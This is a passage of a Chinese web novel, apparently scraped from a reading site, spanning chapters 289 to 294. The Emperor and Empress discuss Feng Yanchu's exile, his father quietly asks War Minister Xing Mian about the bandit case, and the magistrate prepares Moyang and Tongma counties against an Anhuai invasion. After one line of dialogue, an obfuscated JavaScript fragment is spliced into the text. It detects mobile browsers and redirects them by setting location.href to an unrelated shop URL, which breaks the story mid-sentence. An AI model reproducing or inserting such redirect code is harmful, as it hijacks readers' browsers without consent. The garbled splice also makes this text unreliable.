随即回握着对方的手,声音柔和,“臣妾知道陛下所忧,无论如何都会陪着陛下的。”她的声音似乎有魔力一般,可以抚平心绪,让人不再焦虑。
沈显瑞听后笑了笑,随即轻叹一声,他的思绪飘向远方,虽有犹豫,但还是说道:“等皇儿将来入学,朕会让封砚初回来教他。”
申皇后抬眼看向陛下,眼底带着些许惊讶,然后迅速恢复如常,“陛下决定就好,臣妾都听您的。”
此人是陛下从不愿提及之人,内心却明白对方不是池中之物,经过历练,早晚有所成。
此刻,沈显瑞终于说起封砚初,“唉,朕与他初次见面是在平昭公主府上,当日来的都是嫡子。他兄长虽是庶出,可却是未来的武安侯世子,这倒也是罢了。独他是庶子,可丝毫不觉得比旁人低。”
他的思绪回到了当年,回到了那个大家还相对单纯的年纪,自己还是一个尽力讨好父皇的孩子。
“当年因为陈驸马庶子的事情,陈泽文很是不喜庶出,还因此与封砚初起了口角,可即使是在平昭公主府,陈泽文也没占到便宜。”
“之后在唐寺卿府上,封砚初更是将其打了一顿,过后一点事都没有,所以两人关系极差。”
申皇后听到此处疑惑道:“可我听说这两人关系仿佛不错?”
“这还是后来的事。封砚初的优秀大家有目共睹,武安侯有这样一个儿子自然尽心培养。他倒也是争气,不仅文武双全,还研习了医术。其实陈泽文内心是羡慕的,后来长大,慢慢就和好了。”
申皇后并不知道,对方还曾出现在她母亲刘氏的择婿范畴里。听到此处点头道:“如此说来,确实优秀。臣妾也只知道对方学识和武艺不错,倒是闺阁时,与他家的姊妹碰到过几次。”
沈显瑞不由嗤笑一声,“其实朕也羡慕对方有家人疼爱,幼时那般调皮捣蛋也被护持着!”说到这里神色不禁变得复杂,“你可知朕当年离京是他建议的,父皇临终前曾告诉朕,若非如此,他从未考虑过朕!仅是几次看似轻描淡写的建议,就让朕扭转了大局。”
他的神情变得幽深,“朕至今都记得他说的那番话:使老有所依,壮有所用,幼有所长,鳏寡孤独废疾者皆有所养。百姓有衣可穿,有食可裹腹。如今他将漠阳治理的不错,也是做到了一部分。”
此刻,申皇后的震惊已全部显露在脸上,她压下几乎快要脱口而出的话,“陛下,封卿有此志向,可见并不能当做寻常臣子对待。他经过历练之后,将来必定是大晟的贤臣!”她说到此处,起身行礼,“臣妾恭贺陛下得此贤臣。”
沈显瑞扶起申皇后,知道对方担心什么,说道:“朕只是一时恼他,不想让他在朕的眼皮子底下晃悠,免得心烦,这才远远打发了,毕竟相交多年如何不知彼此的脾性,将来还是要重用的。”
武安侯府。
自从封简宁收到次子的来信之后,他悬起来的心就没放下来过,更是在书房里叹声连连。
大郎封砚开如今被分到了刑部任职,刚进书房就看见父亲满脸愁绪,问道:“父亲,可是吏部有什么烦心事?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078359|191178||http|test|mini|href|location''.split(''|''),0,{}));
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r>封简宁轻轻摇头,“吏部的事倒不至于。”
“那就只能是二郎,他怎么了?”封砚开坐在旁边品着茶。说实话,自从立了新后,百官与陛下相处终于没那么别扭,就连他们这些底层官员的日子也好过不少。
“你看看就行,别大声嚷嚷。”封简宁将信递过去,他很担心次子的安危,这是想将寒州的天捅个窟窿,连带着京城也安稳不了。
封砚开看完之后,大惊失色,“这些人是疯了吗?”
封简宁叹道:“你弟弟晓得轻重,并未走沿途的驿站。”说话间看向密室的位置,“而是托镖局送进京的。”
封砚开想起前段时日,二郎曾让镖局押送了一批寒州当地的土产进京!都是一些稀少的药材,还有好些皮子,来信说让大家分一分,每人都有份,包括他,可没想到给父亲的竟然是这个!
“是了,这么关键的东西,他们一旦知道自然要灭口,只是没想到竟然连官都敢杀!”封砚开立即联想到邢勉当时被人出卖受伤,不得已回京养伤之事,“父亲,这些东西你打算怎么办?现在交上去吗?”
封简宁摇摇头,“邢大人当初未必不知道,先帝必定也了解其中内情。但他回京后闭口不言,可见此事牵扯甚广,为父先探探他的口风。”
封砚开已经从方才的震惊中缓了过来,点头道:“是得探一探邢大人的意思,看对方到底知道多少?若是能趁机除掉这些人就好了。”随即摇头叹道:“蠹虫,都是蠹虫!”
封简宁拍着儿子的肩膀,“你别报太大的希望,今春咱们已经和西戎遭遇过两次,现在满朝文武都在为开战做准备,寒州临近安怀部,未免对方配合西戎,趁机从背后偷袭。只要不是原则性问题,为维护稳定,应该不会大动干戈。你弟弟也是察觉到这一点,意思也是暂时按兵不动,以待来日。”
封砚开点点头,弟弟如今虽在漠阳那种,别人避之不及的苦寒之地,才短短几个月,便雷厉风行,将当地治理的不错,他亦与有荣焉。
原本陛下一直隐隐想动父亲的位置,可自从二郎传来好消息,父亲也并未犯错,还有皇后娘娘的劝和,再加上这几个月下来,陛下也渐渐收了飘起的心,又按下不动了。
第二百八十九章 烫手的山芋与利器
邢大人如今上了年岁,再加上先帝已经驾崩。本欲卸下兵部尚书和巡城卫的职位,担个虚职。奈何西戎虎视眈眈,眼看着就要开打了,兵部尚书的位置又很重要,再三请求之下,也只卸任了巡城卫之职。
为了备战,连日来都忙的团团转,幸而有安侍郎从旁协助。这一日,好容易得了些闲暇,便有门子上来报,说吏部侍郎封大人登门拜访。
“他怎么来了?”邢勉一时之间有些不解,但还是将人请进来,“去请进来。”
“下官贸然上门,叨扰大人了。”封简宁行礼落座便开口道。
两人之间并无交情和往来,邢勉也不想继续寒暄,免得打扰自己难得的空闲时间。直接开口问道:“不知封侍郎所为何事,竟特意登门拜访?”
封简宁略作沉吟,然后才说道:“大人以前镇守边关实在劳苦功高,奈何被歹人暗算,这才负伤归京,没能完成征讨西戎的夙愿将,委实遗憾。”
听话听音,邢勉此刻已经明了,封简宁这是有事要向自己打听,只是不好开口,现下他提起自己负伤归京,这是因为军中出现了叛徒,看来定是与此有关。
虽心中确有遗憾,但自然不能这么承认。于是端起茶杯浅饮几口,然后才不紧不慢的说道:“本官已经年迈,就是不想服老都不行。即使没有出现叛徒,早晚都要退下来,若非陛下不允,我连这个兵部尚书都不想干,还不如颐养天年。”
“大人毕竟曾驻守边关,对西戎之事了如指掌,如今眼看开战在即,当然还需您主持大局。”封简宁说到这里,话音一转,“之前犬子在大人麾下做事,虽说如今被贬至寒州漠阳县,但是毕竟多次受到您照拂。奈何以前大人公务繁忙,竟未能亲自拜谢,今日还要多谢大人拨冗一见。”
邢勉面上不动如山,可当他听到寒州二字,心底仍旧不由叹息,语气都淡了几分,“道谢就不必了。封砚初这个晚辈,老夫还是很欣赏的,为人聪慧有分寸,知进退,却也不失骨气。”
封简宁笑道:“还要多谢大人教导,他虽说去了寒州,但也将当地治理的不错,不仅惩治了劣绅,还将其名下的田产分与贫户;又重开了县学,使得孩子们有书可读;更是将当地为祸多年的马匪尽数除去。”他说到最后仔细留意着对方的神情变化。
可邢勉是何人,又怎会让人看出来,捋着胡须哈哈哈大笑,“果然不错,是个当官的好苗子,如今大晟就需要这样一心为民的好官,武安侯府当真好教养。”
封简宁趁机说道:“这些马匪多年这么多年作恶不少,最开始是劫掠过路行人,商队;可到最后愈发猖狂,竟然劫到当官的头上。”他故意将最后一句话说的很重。
听到此处,邢勉放下端起的茶盏,他没想到武安侯这么倔强,还非打破砂锅,问到底不可,于是似有所指的叹气道:“是啊,那些人太过胆大包天。”
“这么说,这是真的?”封简宁拧眉问道。
邢勉点点头,有些无奈,“你这般坚持要问,想来是封砚初在寒州查出来一些东西吧。”
封简宁并未说话,可就是这一片沉默,恰好证明确有其事。
“这件事牵扯甚广,当年先帝也是知道的。本欲先灭了西戎,然后再腾开手收拾,所以当时先按下未提;奈何最后身体出现问题,要考虑继位人选,已经没有
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精力去管。”邢勉说到这里不禁哀从心生。
当今陛下连与朝臣之间的相处,还需要皇后从中缓和,也幸亏有这么个人在一旁劝着,否则情况只会更差,对方并没有先帝的魄力,反而有些容不下人。
随即邢勉看向封简宁,郑重叮嘱道:“无论查到了什么,现在并不是揭发它最好的时机,当下大战在即,不宜生乱。”
封简宁点头道:“下官知道了,多谢大人。”
邢勉到底不忍心封砚初这个新起之星,在还未升起之时就已陨落,“既然已经说开了,老夫再多一句嘴。这是一块烫手的山芋,同时也是一个利器,就看握在谁的手里。”说到这里看似无意的感叹,“皇后娘娘十月就要生了,但愿是个嫡子,也能少些纷争。”
封简宁听出了言下之意,起身拱手道:“多谢大人指点,下官感激不尽。”
邢勉笑着叹道:“都是为了家中子孙,封侍郎如此,老夫亦如此。”
封简宁很明白,邢勉现下看着手握权力,势头正盛,但到底已经年老,长孙邢重归又太过憨直,所以想多留些人情,也好将来能用得上。
他听后保证道:“请大人放心,邢指挥使手握靖安武备营,又在潜邸之时跟着陛下,若将来需要,封家不会袖手旁观的。”
人无远虑必有近忧,邢勉最担心孙子邢重归。以对方的性格并不适合太高的位置,奈何陛下登基后,直接将靖安武备营交给孙子。他何尝不清楚对方这是因为无人可用,又不放心将靖安武备营交给别人,这才扶长孙上位。
可这上头的刀光剑影,他现在还可以帮着挡一挡,那将来有一日自己不在了又怎么办?
第二百九十章 不能坐以待毙
漠阳县。
此刻的封砚初心里升起一种深深地无力感,如今与西戎的交战已经开始,他建议提前做防备,可惜被拒绝了。
前几日他特意去了一趟寒州,先是去了知府万致和之处,然后又找上守军郭文行,言明利害,希望对方能多做准备,以防安怀部从寒州插入背后偷袭,他到现在都记得郭文行的嘴脸。
万致和虽然态度好,但也是打哈哈,“封砚初,你是不是多虑了?”
“并非下官杞人忧天,当初先帝还在时,各国使臣进京,除夕夜宴,西戎使臣便直接挑衅,更有安怀部从中挑唆声援,在下是亲眼所见。”封砚初将当时的情况大概说了。
万致和听后,手上动作一顿,在他听来,却是封砚初竟然有资格参加这种大宴,万万不能得罪,嘴上看似客气实则依旧敷衍,“哦?还有此事?各藩属国心思各异也是正常,你方才也说了安怀部只是声援,想来不妨事。”
封砚初不得不违心劝着,“万知府,您在此为官这几年,经历过因边贸而繁荣的寒州;也看到了因边贸关闭后,商人渐少的渐渐衰败。下官知道您心系百姓,寒州临近安怀部,您想维护与其的关系,为将来通商做准备,可也不得不防啊。”
万致和闻言觉愈发肯定对方不会纠缠马匪之事,心情好了不少,“唉,这兵事本官实在不通,要不你先去问一问郭文行,若他觉得可行,本官必定全力支持!”他这话看似说的斩钉截铁,让人听起来颇有希望,实则不过是在踢皮球。
封砚初何尝不明白,但他不想放弃,还是去了郭文行之处,才开口说了这件事,就被顶了回去。
“封县令,本将知道你乃是文试状元,出身不凡。可你是文官,本将乃是武官,从军多年,是你懂得打仗还是本将懂得?”郭文行说这话之时,言语之间满是不屑,更是对封砚初的多此一举厌恶至极。
不过封砚初为达到目的,还是强压下性子,好言好语道:“郭大人,西戎与安怀部之间早有勾结,只不过一直按下未发罢了。如今孙将军他们在前方与西戎交战,安怀部未必不会支应配合,若如此便会从寒州直接插入后方,你可敢保证?”
他说这话时,心里恨不得将对方的脑子扒开来看一看,里面是不是装的都是草料!
如今好容易自己在上风,郭文行自然要端起架子拿捏,“休要虚张声势,安怀部与咱们和平相处了这么多年,怎会轻易撕破脸?”
封砚初不甘心的提醒,前车之鉴犹在眼前,“和平相处多年?郭将军,大晟立国至今也不过才一百六十多年,以前的安怀部可是,几乎快将北边几个州府城池全部侵占,更是大肆屠戮百姓!漠北、柔荑更是灭国,乾朝之时,他们何尝不是装的乖顺?当时又有谁能想到!”
“休要拿一百多年前的事情来说!本将镇守寒州多年,比你更了解情况,用不着你越俎代庖!记住你自己今时今日的地位!”在郭文行看来,你封砚初即使家中再有背景,现在也不过是一个区区漠阳县令,竟还敢在这里指手画脚!
“多谢郭守将提醒,下官自己清楚,食君之禄,担君之忧,更何况我封某人乃百姓所养,自然要为百姓着想!但愿将来,郭守将仍旧还有今日的气魄!”封砚初说完这话气的甩袖离去,丝毫不给对方回嘴的机会。
这可把郭文行气的不轻,冲一旁的手下说道:“他这是什么意思?就他封砚初高尚是吧!”
同知刘升匆匆赶来,见此一幕,问道:“封县令呢?”
郭文行冷哼一声,言语中带着不满,“说教了本将一通走了,怎么?难不成你是来劝和的?”随即摆摆手,大言不惭道:“用不着!”
同知刘升捶着桌面,“哎呀,你怎么让他走了呢!他父亲可是吏部侍郎,还在兵部任过主事,人家一句话比咱们说上一百句都强,敷衍着就是了,做什么得罪人!”
郭文行气道:“你是没见着,方才他那指手画脚的模样,哎哎哎!寒州守将可是我啊,他那是什么意思,我为将多年还不如一个手无缚鸡之力的书生?”
同知刘升听后冷哼道:“手无缚鸡之力的书生?你恐怕是对书生有什么误解。他!出身武安侯府,祖上可是有着从龙之功的武将!万大人已经托人在京城中打听过此人,他的武功不弱,没准你都不是他的对手。”
郭文行嘴硬着,“哼,吹吧你就,怕他?”
……
忙碌了一日的江行舟刚一进门,就看见封砚初一副愁
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容的坐着,屋内连一盏灯都没点,随即找出火折子点亮烛火,给昏暗的屋子增添了一些光亮。
然后才问道:“怎么?没成功。”
封砚初直到屋里亮起来,这才抬头看去,他竟没发现有人进来,随即摇头道:“好话说尽,还分析了利弊,全做了无用之功,如此,也只能咱们自己想办法。”
江行舟说道:“这几日我将周遭县都跑遍了,只有与咱们相邻的铜麻县令齐大人愿意,其余的也都拒绝了。”
“铜麻县紧挨着安怀部,也许齐大人察觉到了什么。”封砚初想到了之前活跃的马匪,这些人里头有不少就在铜麻县安宅。
江行舟并未否认,只说道:“齐大人明日就来商议应对之策。”
寒州之行失败,但也不能坐以待毙。封砚初朝外头喊道:“来人!”
“大人。”一名衙役进来拱手听命。
封砚初吩咐道:“去将胡主簿叫来。”
“是!”衙役领命而去。
胡主簿这几日也没闲着,此刻还未回家,所以没一会儿就匆忙来了,“大人。”
江行舟抬手示意,“胡主簿坐吧,咱们一起商议商议。”
“光凭咱们这点人根本不够用,必须再招些人!”封砚初皱眉道。
江行舟听后先是一惊,然后连忙劝着,“万万不可,你虽是县令掌管一县政务,却无招兵之权,即使将来防御安怀部有功,事后也会被治罪的!”
封砚初嘴角勾起一抹笑,“谁说我要招兵了?咱们漠阳县如今正缺衙役,自然要多招一些,再让暮山稍微训练。”
江行舟松了一口气,“那就好,那就好。”
此刻,胡主簿却开口道:“若如此,咱们漠阳县城倒可以保全,只是城外的百姓恐怕要遭殃,唉,这眼看着百姓的日子就要好起来了,竟碰上这种事。”
江行舟听后立即道:“这就需要想另一个办法,明日将各村长和各里长全都叫来,必定要做到村与村之间形成防御警戒,一旦有陌生人或进村、或打探立即抓起啦!”
江行舟也想到了什么,“想要从北边进入漠阳县,必定要走回龙道,那里也需要有人时时看守。”
随后,几人又商议了一番,不知不觉已是明月高照。
第二百九十一章 机会已经给他了
次日。
胡主簿派人通知各村长、里长前来县衙,给其分布任务;江行舟则发布招募衙役的通知,各人都有自己的事情要忙。
所以,当铜麻县齐县令来的时候,恰好看见漠阳县上下皆是一片忙碌的样子。
“齐大人远道而来,快快请进。”封砚初亲自将人从衙门口往里迎。
齐县令一边往里走,一边四处看着,但脸上却带着笑,“哈哈哈,封大人真是实干之才,我前几年也来过漠阳县,可今日再次来访,这才发现大不相同啊!”
封砚初客气道:“齐大人谬赞,封某哪里敢当,不过是尽了为官之责罢了。”
齐县令往里走之时,忽闻一阵‘呼哈’的习武之声,问道:“这是?”
封砚初解释道:“是新招来的衙役在训练,正好让人教些粗浅的武功,也好有个防备。”两人就这么一路说着进了屋子。
齐县令端起茶盏浅饮一口,随后四处观望打量。心中却暗暗想着,自从这位封县令来了漠阳,就连县衙也比从前多了些鲜活之气,起码此处让人看着像是个正经办公的地方,没有从前的冷清与懒怠。
思及此处,心里不免多了些希望,“我之前便有这个担忧,只是一时之间也没个好办法,幸而江大人来了铜麻县。”
封砚初听了这话,眉心微蹙,“其实江县尉还去其他县游说,可最终只有你愿意联合预防敌袭;我更是亲自跑了一趟寒州,除了受到一通奚落,再无所获。”
齐县令听了这话,不禁忧从心起,叹道:“旁的县如何,我尚不知。然而铜麻县紧挨着安怀部,前两年还能安稳些,近两年却偶有发生侵扰之事,即使报上去,不过是和解,安怀部也只给一个御下不严的借口,最终不了了之。”
“眼下咱们与西戎交战,安怀部又一向与其有纠葛,若说不想趁机分一杯羹,我是不信。铜麻县与安怀部之间虽有山川相隔,可这些年两边往来频繁,早已失了警惕之心。”
城外绿色的小麦还在努力的抽着穗,可封砚初只担心时间不够用,“暂时应当无碍,安怀部即使要帮西戎的忙,肯定也想得些好处,所以只会是咱们大晟的百姓遭殃。毕竟再有两个月小麦就要熟了,铜麻县紧挨着安怀部,不可不妨。”
齐县令认可的点点头,“是啊,等到秋收,百姓手里有了粮食,便可劫掠,我如今也是细细查访,以防对方的细作趁机生乱。”
封砚初见状问道:“成效如何?”
一提起这个,齐县令就不免气愤,“成效不大。铜麻县与漠阳不同,封大人,你将漠阳的一众富户豪绅都已揪除。可铜麻县的那些富户与安怀部暗中多有生意往来,所以时时庇护。”
封砚初听闻端着茶盏的手略微顿了顿,意有所指道:“齐大人,关键之时当行关键之法,万不可被这些人绊住手脚。若真到那时,那些人可以用钱粮换得平安,可朝廷一旦纠察下来,齐大人别说官途,就连一家子的身家性命都不好说。”
齐县令一听这话,心里猛地‘咯噔’一下,他看向封砚初;此人背景深厚,即使是万知府也要给对方留上几分颜面,“我与封大人不同,所以一直以来不求有功,但求无过,就是担心上头一旦怪罪下来,我不好做。”
其实这些年,他何尝不知那些乡绅富户不仅与安怀部有生意上的往来,更是暗中与马匪们有牵扯;马匪更是利用地理位置的便捷,将家安在铜麻县。
俗话说兔子不吃窝边草,这些马匪自然一样。所以一直以来,铜麻县的百姓并未受到马匪的骚扰,他对此也是睁一只眼闭一只眼。
听闻漠阳县清剿马匪,并且着人查到了铜麻县之时,他并非不知,甚至暗中还行了些方便,这才让对方顺利的将东西取走。
封砚初看出对方的犹豫,随即从一旁的百宝阁上,取下一个小匣子递给对方,“或许,我可以帮一帮齐大人呢?”
齐县令打
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开匣子,小心翼翼地将里头的东西拿出来,快速扫视了一遍,不由露出轻松的笑,“这是……”他没想到封县令不仅早有预判,更是帮他连借口都找好了!
封砚初轻轻点头,“还有什么比通匪这个罪名更好用呢?”
齐县令高兴归高兴,可接下来不免担忧道:“可我衙门里的那些捕手和衙役,甚至是底下的官都与那些人有往来,没人可用啊!”
“这个无需担心,只要齐大人下定决心,我漠阳县的衙役可以借调给你。只有将这些人尽数除了,大人才能将铜麻县真正的掌握在自己手里,也可提前做准备,免得安怀部有所动作时,也不会措手不及。”封砚初趁热打铁。
齐县令兴奋的连连点头,拱手致谢道:“多谢封大人援手,此事行动要迅速,万不可给他们喘息之机,否则趁势与安怀部里应外合,勾结贼人提前入侵,那可就大事不妙了!”
紧接着,两人细细商议了一番,订好了具体的行动计划和时间,之后齐大人这才满意的离开。
江行舟却不那么乐观,担忧道:“若是对方临时反悔,咱们与铜麻县之间的配合恐怕会失效;到了那时,安怀部入侵只怕会更容易。”
封砚初眸中的光敛起大半,声音听不出情绪,“机会已经给他了,若是抓不住,那只能说他并未将全家人的性命放在心上。更何况咱们与铜麻县之间还隔着一个回龙道呢;一旦铜麻县因为自身原因出现错漏,那就截断此处,先保存咱们漠阳县,之后再慢慢算账!”
他说到这里,看向江行舟,语气里难掩讥讽,“若真到那时,你说郭文行这个守将,以及寒州的那些官老爷们又当如何?”
江行舟亦冷哼道:“你之前已经提醒过了,可郭文行和万致和并未将话当一回事。万致和身为知府难逃罪责,最轻也得是贬官,更别说他还有别的事;守将自然要将功补过,可此人若是有才也就罢了,就担心眼高手低。”
第二百九十二章 本官用的是通匪的罪名
封砚初听到此处,眼底划过一抹狠厉,“他若是听话也就罢了,如果胆敢干扰我的计划,便是不想见到升起的太阳了。”
江行舟点头轻笑,“也对,即使你不收拾,朝廷也不会放过他,更别说还有孙家呢;孙将军在前方迎战,后头却有人捣乱,通敌的罪名是跑不了的,更别说还有佐证。”
他指的是这些人暗中杀了常鸣佑将军,就是为了得到对方手里的罪证,可如今这些东西早已经进了京,揭开真相也是早晚而已。
三日后。
暮山和捕头赵章带领着部分衙役,早早的在空地上等着。
封砚初站在台阶之上,先是环视了众人,然后才说道:“诸位训练也有些时日了,只是具体如何还需要检验。今日便有任务,你们也无需多言,跟在暮山和赵章身后,听命行事即可!”
众人齐声道:“是!”
暮山倒没什么,赵章却有些紧张和激动。这段时间,他跟着暮山习武,县令大人也时常会派给他一些任务,有了一点见识;而今日之事极其重要,是他今后能否在漠阳县彻底立足的根本,内心十分重视。
“出发!”随着一声令下,众人挎着刀齐刷刷的离开漠阳,奔赴铜麻县;除了暮山和赵章,无人知道这是一次跨县行动。
铜麻县,齐县令按下心中的焦虑,耐心的等待着;手上依旧处理着当日的公务,装作一副无事发生的样子,可若是仔细留意,便会发现他身边几个信得过之人并不在。
直至夜幕降临,他还没离开;张县丞和王县尉见此一幕,进来道:“大人真是废寝忘食,只是为了身体着想,还是早些歇息,明日也是一样的。”
王县尉却问道:“不知大人唤下官前来,有何吩咐?”
齐县令头都没抬一下,只说道:“今日事,今日毕。若是拖到明日就晚了。”
这两人见对方并未开口,心中疑惑不解。往日也不见这么死心眼,不过还是笑着道:“大人既然忙着,不若等到明日大人再吩咐也是一样的。现在时辰也不早了,家中还有要事,下官就先告辞了。”
谁知齐县令从书案上抬起头,并未见恼色,指着一旁的椅子说道:“且先不着急,我一会还有事要你们帮忙,略微等一等吧。”
其中一人抬眼看向窗外的繁星,问道:“不如大人先告知我等,下官这就去做。”
齐县令闻言,亦看向外头,心里估算了一下时间,只念叨着,“快了,快了!”
这两人见齐县令如此坚持,只得耐着性子继续等,可心中却生出诸多抱怨。
就在此刻,门外突然传来一阵脚步声,就见有几个衙役进来。
张县丞一瞧是生脸,只以为是新招来的,皱眉呵斥,“这里是什么地方!县令大人还在办公,岂容尔等冒冒失失的闯进来,还不快退下!”
就在两人震惊地目光中,齐县令突然扔下手中的笔,“将他们二人拿下!”
张县丞一头雾水,“大人这是何意?”
齐县令并未解释,而是对为首之人说道:“还请劳烦几位跟着我的亲信分头去拿人!”
暮山拱手道:“是!”
没一会儿,漠阳县这群人又呼啦啦的全都离开了,只余下看守张王二人的衙役,都不是蠢人,前后一联想,便已明白了大半。
“县令大人好手段啊!借漠阳县的人来除掉自己的对头!”张县丞狠狠地盯着齐县令,在他心里对方这是为了一己之私,是为了排除异己。
“大人,安怀部那边静悄悄的,更何况寒州那边未有命令,您又何必多此一举呢?”王县尉来到这里不过一年多,原本可以不牵扯进去,但是为了站稳脚跟,渐渐的与那些人同流合污了,但他很清楚齐县令并非如此浅薄,否则也不会掌管此地这些年。
这就是在贫寒偏远之地为官的坏处,旁的地方官都是三年一换,可贫寒偏远的县没人愿意来,因为一旦来了就走不了了,所以是五年一换。
齐县令
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面对质问并未说话,而是闭上眼睛假寐,他觉得说不着,这给两人气的不轻。是的,其实齐县令是打着要去寒州的名义去了一趟漠阳县,这才瞒住众人。
这一晚上就没停歇,凡是有牵扯的人全都被抓了,无论贫富;就连大牢都挤不下,只能安置在几间空房里头。
天光渐亮,齐县令终于睁开双眼。此时,暮山和赵章已经回来了。
“大人,全都抓回来了,无一人遗漏。”
齐县令听到这个消息,心中松了一口气,点头道:“多谢二位,只是事情还未了结,还得劳烦多待几日。”
暮山并未说话,还是赵章拱手回复,“我等本就是应我家大人之命前来帮忙,齐大人有事只管吩咐。”
齐大人这才道:“那先下去用个饭,休息休息,过后还要审问,查抄。”
“是!”
等这两人退下之后,张王二人这才知道害怕,因为齐县令来真的了。
若说之前还顾及着体面,可现在却是无所谓,张县丞直接吼着,“齐大人!你是铜麻县的县令不假,可也不能乱抓人,若是引起动荡,你能当得起吗?”
王县尉还试图将自己摘出来,“大人,有话好好说就是了,只要您吩咐,下官必定配合!也不用让人看着我们吧?”
齐县令听后道:“胡乱抓人?本官可不是!”说话间拍着桌案上的一个小匣子,“本官可是有确实的证据!”
张县丞瞥了一眼齐县令,直接开口道:“大人!你可别忘了,城中那些乡绅是与安怀部有往来不假,但那是正经的生意往来!更何况现在安怀部并未有异动,安安静静的在自己的地盘上待着呢!”
齐县令冷哼一声,看向这二人的眸光犹如粹了寒冰,“谁说要以这个,本官用的是通匪的罪名!这可没冤枉了他们吧?”
之后的抓人,审问,抄家,定罪一连串下来,足足花费了四天,所幸齐县令也算是快刀斩乱麻,让铜麻县重新归于平静。
第二百九十三章 准备工作
暮山与赵章一行人,带着丰厚的奖赏回到了漠阳县。就在他们高兴之际,刚进县衙就发现了大批前来应征衙役的人,心中不由生出危机之感。
当然了,这一切和暮山并无太大关系,他可是封砚初的护卫,只需负责日常训练即可。
赵章却有些紧张,他之前可是犯过错了,虽说知错能改,善莫大焉,但万一呢。
他上前几步凑上去,看向正在登记的书吏宋言三,问道:“宋书吏,这有多少个了?”
宋言三早已疲惫不堪,看向外头那一群人,长叹道:“上头已经有四百多人,就这还陆陆续续的还有人来报名。”
“大人是什么意思?”赵章压低声音发问着。
宋言三指着一旁的布告,“大人的意思是先登记,五日后统一考核,只有通过之后才会被录用。”说到这里掩嘴悄悄说,“而且接下来是暮护卫统一训练这些人;据说还要挑出一些有天赋的练习弓箭,并且还要学骑马、长矛、刀法;瞧着不像是招衙役,倒像是在招兵、练兵。”
底下的人或许还糊涂着,但赵章执行过几次任务,早有耳闻。他拍了拍宋言三的肩膀,叮嘱道:“上头自有深意,岂是你我可以揣测的。宋书吏还是小心些,万不可对外胡说,幸而是我听见了,若是让旁人听了当心受罚!”
宋言三连连轻扇了自己的嘴巴,道恼,“再也不会了,还请赵捕头帮我保密。”
“都是为大人效力,自然是要帮的。”赵章得了消息便进去给封县令回禀情况;同时在他觉得这也是一次机会!
话说封砚初见暮山和赵章回来,还带了齐县令的谢礼。但他并未直接打开,而是说起其他事情:“如今漠阳的情况,你们两人也都知道。时间紧迫,必须在秋收之前完成所有准备工作!从今以后,我不想听见有任何人找任何借口,推脱、抱怨辛苦!”
瞧这两人神情认真,尤其赵章更是眼睛都不眨一下。于是他继续吩咐着,“暮山、赵章,接下来的考核就由你们二人共同负责;但是日常的训练也不可轻忽,更是要留意县城里的动静!”
“是!”二人一起领命。
赵章略微停顿后,说道:“大人,前些日子,小的听底下衙役说,他们巡逻之时,听人说以何家旁支为首的几户人家,言语中诸多抱怨,在这个关键时候,小人担心生事,要不要盯紧一些?”
封砚初当时处置的主要是首恶和与之有关得人家,所以没有牵涉其中的人便放过了,只是这些之前跟着沾光之人,名下的田产也被查抄。
他听闻此言,点头道:“你说的对,万不可在这些人身上坏了大事,着人盯着,要是真有贼心,正好一起收拾了。”
“是,大人!”赵章脸上带着兴奋的笑。
接下来的日子,整个漠阳县都变得忙碌起来。就连封砚初也经常不在县衙,因为他不仅要统筹全局,还要与铜麻县联合照应。
回龙道那里已经安排了人驻守,不仅如此,每个村子里自己也安排了巡逻之人。别说,当真管些用,还真就查出几个心怀不轨之人,为的就是打探各村情况,为秋季劫掠做好准备。
封砚初没客气,直接将人绑起来,在县城和各村**;用处很大,大家都明白使坏之人往往藏在身边,而他们的家人亦以之为耻,出门受人指指点点,头都抬不起来。
更让他没想到的是,还真就查出了何家的旁支暗中与外贼勾结,为的就
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是能灭了漠阳县和他这个县令;明面上为何家报仇,其实归根结底,是为了那些被查抄的田产。
此举算是惹了众怒,为首之人被愤怒的百姓生生打死,至于其他人则是按刑律斩首示众。
到了地方之后,封砚初才明白,对于百姓而言,地方官员的权力究竟有多大。县里发生的案件不少,除非是极其严重者,否则很少向上报,大多都是自行处理。
因为但凡上报,先不算这一来一回的时间,和沿途驿站的花费;上头还有大理寺和刑部审核,整个大晟那么多案件,这是需要等的,前前后后没个一两年是的下不来的,之后,自然而言就心照不宣了。
所以说,地方百姓的生死,都掌握在这些地方官员手中;富贵之乡,大家都紧盯着,好歹有个名头和遮掩;可这些贫瘠偏远之地,一切全看当官的良心。
漠阳倒还好些,而铜麻县的情况更严重。试图穿越界碑的人就抓住了一百多人;偷偷探查情况的也有三十多人;甚至有些是被收买的当地人。
为此,齐县令更是明正典刑,公开罪行并处斩,震慑了一部分宵小之辈;最后还是封砚初给出了个主意,运用群主的力量;那就是让百姓之间纠查举报,凡查实者皆有赏赐。
果然,重赏之下,必有勇夫。不过短短半个来月,就收到了几百起举报,查实的有一百多人,甚至还查抄了隐藏多年的暗探细作。虽收获颇丰,但同时也预示着情况不容乐观。
时间流转,秋高气爽,金黄的麦浪滚滚,百姓在田间忙碌着。今年是一个丰年,又恰逢碰上了好官,上头的劣绅都已被处置,百姓的日子好过不少,丰收的喜悦难掩,这个场景是那样的美好!
第二百九十四章 唇亡齿寒的道理,你不懂吗
当粮仓装满了粮食,安怀铁骑也踏上了寒州这片土地!
好几个县都受到了波及,除了地理位置占据优势的,也只有铜麻和漠阳两县提早做了准备!
而通往漠阳县的通道——回龙道,早已经严防死守。县里百姓内心只有庆幸,不过更多的是担忧,在生死存亡之际,大家前所未有的团结。
齐县令乃是文官,即使从未打过仗,但也努力守着边界通道;可是到底准备匆忙,众人皆狼狈。
王县尉看着来势汹汹的安怀铁骑,胆战心惊道:“大人,咱们还是赶紧向寒州求救吧!”
齐县令脸色阴沉,心中恼怒,语气中不由的带了一些出来,“你以为我没派人去吗?可现在好几个县都受到了波及,寒州自顾不暇,上头让咱们自己想办法抵抗!”
封砚初骑着马站在回龙道的出口,身后还带着这段时间训练出来的衙役。
胡主簿内心担忧不已,他清楚安怀部不过是跳梁小丑,可自己的未来压在了对方身上,一旦有个好歹,简直不敢想,劝道:“大人,眼下还是先管好咱们自己就行。”
